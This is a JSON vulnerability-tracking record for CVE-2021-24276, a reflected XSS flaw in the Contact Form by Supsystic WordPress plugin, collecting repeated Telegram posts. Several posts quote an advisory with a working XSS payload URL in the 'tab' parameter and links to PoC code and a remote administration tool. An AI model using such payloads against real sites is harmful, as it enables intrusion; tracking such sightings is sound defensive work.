{"vulnerability": "CVE-2021-24276", "sightings": [{"uuid": "16cf7254-d5ff-4690-9068-68a888f478ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-24276", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/3300", "content": "#exploit\nWordPress vulnerabilities:\n\n1. CVE-2021-24258:\nElements Kit Lite/Elements Kit Pro WordPress Plugins <2.2.0 have a number of widgets that are vulnerable to stored XSS by lower-privileged users such as contributors, all via a similar method\nhttps://github.com/GoogleProjectZer0/CVE-2021-24258\n\n2. PoC script to exploit CVE-2021-24276:\nhttps://github.com/GoogleProjectZer0/CVE-2021-24276", "creation_timestamp": "2021-12-07T03:34:20.000000Z"}, {"uuid": "3f97fc00-3471-43f5-91da-c6cbec16d9b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-24276", "type": "seen", "source": "https://t.me/cissp/3138", "content": "WordPress vulnerabilities:\ud83d\ude01\nCVE-2021-24258 - Elements Kit Lite/Elements Kit Pro WordPress Plugins <2.2.0 have a number of widgets that are vulnerable to stored XSS by lower-privileged users such as contributors, all via a similar method\nhttps://github.com/GoogleProjectZer0/CVE-2021-24258\n+ PoC script to exploit CVE-2021-24276\nhttps://github.com/GoogleProjectZer0/CVE-2021-24276\n\nThreat Research:\n1. Privilege Escalation Via a Use After Free Vulnerability\nIn win32k (PoC for CVE-2021-26900, CVE-2020-1381)\nhttps://www.zerodayinitiative.com/blog/2021/5/3/cve-2021-26900-privilege-escalation-via-a-use-after-free-vulnerability-in-win32k\n2. The authentication bypass flaw affects HPE Edgeline Infrastructure Manager (EIM) ver.1.21\nhttps://securityaffairs.co/wordpress/117513/security/hpe-edgeline-infrastructure-manager-flaw.html?utm_source=feedly&utm_medium=rss&utm_campaign=hpe-edgeline-infrastructure-manager-flaw\n\nA Simple Android Remote Administration Tool Using Sockets. It uses java on the client side and python on the server side\nhttps://github.com/karma9874/AndroRAT", "creation_timestamp": "2026-09-01T17:00:50.943348Z"}, {"uuid": "12c36378-7faa-4d50-8208-4058173dbbe2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-24276", "type": "seen", "source": "https://t.me/hacking_Attack/25365", "content": "Exploit Collector\nWordPress Contact Form 1.7.14 Cross Site Scripting\n\nhttps://2.bp.blogspot.com/-S-N0q2XL8x8/WWlu5FDj1eI/AAAAAAAAIJA/vGskVQb_QegQZ0-UZMHSDeFJ08ju6pdGQCLcBGAs/s1600/h104.png \nWordPress Contact Form plugin version 1.7.14 suffers from a cross site scripting vulnerability.\n\nMD5 | ad3b8c07914e764e78a039113f3ce4a9\n\nDownload\n# Exploit Title: WordPress Plugin Contact Form 1.7.14 - Reflected Cross-Site Scripting (XSS)\n# Date: 3/28/2021\n# Author: 0xB9\n# Software Link: https://wordpress.org/plugins/contact-form-by-supsystic/\n# Version: 1.7.14\n# Tested on: Windows 10\n# CVE: CVE-2021-24276\n\n1. Description:\nThe Contact Form by Supsystic WordPress plugin before 1.7.15 did not sanitise the tab parameter of its options page before outputting it in an attribute, leading to a reflected Cross-Site Scripting issue\n\n2. Proof of Concept:\n/wp-admin/admin.php?page=contact-form-supsystic&tab=\"+style=animation-name:rotation+onanimationstart=alert(/XSS/)//\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:20.362239Z"}, {"uuid": "13a22933-9d43-4cad-8d23-57f2f21a8098", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-24276", "type": "seen", "source": "https://t.me/hacking_Attack/25365", "content": "Exploit Collector\nWordPress Contact Form 1.7.14 Cross Site Scripting\n\nhttps://2.bp.blogspot.com/-S-N0q2XL8x8/WWlu5FDj1eI/AAAAAAAAIJA/vGskVQb_QegQZ0-UZMHSDeFJ08ju6pdGQCLcBGAs/s1600/h104.png \nWordPress Contact Form plugin version 1.7.14 suffers from a cross site scripting vulnerability.\n\nMD5 | ad3b8c07914e764e78a039113f3ce4a9\n\nDownload\n# Exploit Title: WordPress Plugin Contact Form 1.7.14 - Reflected Cross-Site Scripting (XSS)\n# Date: 3/28/2021\n# Author: 0xB9\n# Software Link: https://wordpress.org/plugins/contact-form-by-supsystic/\n# Version: 1.7.14\n# Tested on: Windows 10\n# CVE: CVE-2021-24276\n\n1. Description:\nThe Contact Form by Supsystic WordPress plugin before 1.7.15 did not sanitise the tab parameter of its options page before outputting it in an attribute, leading to a reflected Cross-Site Scripting issue\n\n2. Proof of Concept:\n/wp-admin/admin.php?page=contact-form-supsystic&tab=\"+style=animation-name:rotation+onanimationstart=alert(/XSS/)//\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:49.558516Z"}, {"uuid": "435fe150-54ea-452a-86f3-a4b31840b594", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-24276", "type": "seen", "source": "https://t.me/cissp/3138", "content": "WordPress vulnerabilities:\ud83d\ude01\nCVE-2021-24258 - Elements Kit Lite/Elements Kit Pro WordPress Plugins <2.2.0 have a number of widgets that are vulnerable to stored XSS by lower-privileged users such as contributors, all via a similar method\nhttps://github.com/GoogleProjectZer0/CVE-2021-24258\n+ PoC script to exploit CVE-2021-24276\nhttps://github.com/GoogleProjectZer0/CVE-2021-24276\n\nThreat Research:\n1. Privilege Escalation Via a Use After Free Vulnerability\nIn win32k (PoC for CVE-2021-26900, CVE-2020-1381)\nhttps://www.zerodayinitiative.com/blog/2021/5/3/cve-2021-26900-privilege-escalation-via-a-use-after-free-vulnerability-in-win32k\n2. The authentication bypass flaw affects HPE Edgeline Infrastructure Manager (EIM) ver.1.21\nhttps://securityaffairs.co/wordpress/117513/security/hpe-edgeline-infrastructure-manager-flaw.html?utm_source=feedly&utm_medium=rss&utm_campaign=hpe-edgeline-infrastructure-manager-flaw\n\nA Simple Android Remote Administration Tool Using Sockets. It uses java on the client side and python on the server side\nhttps://github.com/karma9874/AndroRAT", "creation_timestamp": "2026-09-02T01:04:40.033515Z"}, {"uuid": "46abd5d2-a62a-4dcf-a82c-c8d877966a97", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-24276", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/25365", "content": "Exploit Collector\nWordPress Contact Form 1.7.14 Cross Site Scripting\n\nhttps://2.bp.blogspot.com/-S-N0q2XL8x8/WWlu5FDj1eI/AAAAAAAAIJA/vGskVQb_QegQZ0-UZMHSDeFJ08ju6pdGQCLcBGAs/s1600/h104.png \nWordPress Contact Form plugin version 1.7.14 suffers from a cross site scripting vulnerability.\n\nMD5 | ad3b8c07914e764e78a039113f3ce4a9\n\nDownload\n# Exploit Title: WordPress Plugin Contact Form 1.7.14 - Reflected Cross-Site Scripting (XSS)\n# Date: 3/28/2021\n# Author: 0xB9\n# Software Link: https://wordpress.org/plugins/contact-form-by-supsystic/\n# Version: 1.7.14\n# Tested on: Windows 10\n# CVE: CVE-2021-24276\n\n1. Description:\nThe Contact Form by Supsystic WordPress plugin before 1.7.15 did not sanitise the tab parameter of its options page before outputting it in an attribute, leading to a reflected Cross-Site Scripting issue\n\n2. Proof of Concept:\n/wp-admin/admin.php?page=contact-form-supsystic&tab=\"+style=animation-name:rotation+onanimationstart=alert(/XSS/)//\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T13:00:05.173059Z"}, {"uuid": "9d280858-36cb-49c4-932b-cc6cb49767c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-24276", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/25365", "content": "Exploit Collector\nWordPress Contact Form 1.7.14 Cross Site Scripting\n\nhttps://2.bp.blogspot.com/-S-N0q2XL8x8/WWlu5FDj1eI/AAAAAAAAIJA/vGskVQb_QegQZ0-UZMHSDeFJ08ju6pdGQCLcBGAs/s1600/h104.png \nWordPress Contact Form plugin version 1.7.14 suffers from a cross site scripting vulnerability.\n\nMD5 | ad3b8c07914e764e78a039113f3ce4a9\n\nDownload\n# Exploit Title: WordPress Plugin Contact Form 1.7.14 - Reflected Cross-Site Scripting (XSS)\n# Date: 3/28/2021\n# Author: 0xB9\n# Software Link: https://wordpress.org/plugins/contact-form-by-supsystic/\n# Version: 1.7.14\n# Tested on: Windows 10\n# CVE: CVE-2021-24276\n\n1. Description:\nThe Contact Form by Supsystic WordPress plugin before 1.7.15 did not sanitise the tab parameter of its options page before outputting it in an attribute, leading to a reflected Cross-Site Scripting issue\n\n2. Proof of Concept:\n/wp-admin/admin.php?page=contact-form-supsystic&tab=\"+style=animation-name:rotation+onanimationstart=alert(/XSS/)//\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-08T00:00:44.824776Z"}, {"uuid": "da93b1fe-168f-44b4-a087-3c5e7f432fb2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-24276", "type": "published-proof-of-concept", "source": "https://t.me/cissp/3138", "content": "WordPress vulnerabilities:\ud83d\ude01\nCVE-2021-24258 - Elements Kit Lite/Elements Kit Pro WordPress Plugins <2.2.0 have a number of widgets that are vulnerable to stored XSS by lower-privileged users such as contributors, all via a similar method\nhttps://github.com/GoogleProjectZer0/CVE-2021-24258\n+ PoC script to exploit CVE-2021-24276\nhttps://github.com/GoogleProjectZer0/CVE-2021-24276\n\nThreat Research:\n1. Privilege Escalation Via a Use After Free Vulnerability\nIn win32k (PoC for CVE-2021-26900, CVE-2020-1381)\nhttps://www.zerodayinitiative.com/blog/2021/5/3/cve-2021-26900-privilege-escalation-via-a-use-after-free-vulnerability-in-win32k\n2. The authentication bypass flaw affects HPE Edgeline Infrastructure Manager (EIM) ver.1.21\nhttps://securityaffairs.co/wordpress/117513/security/hpe-edgeline-infrastructure-manager-flaw.html?utm_source=feedly&utm_medium=rss&utm_campaign=hpe-edgeline-infrastructure-manager-flaw\n\nA Simple Android Remote Administration Tool Using Sockets. It uses java on the client side and python on the server side\nhttps://github.com/karma9874/AndroRAT", "creation_timestamp": "2026-09-11T07:00:04.855632Z"}]}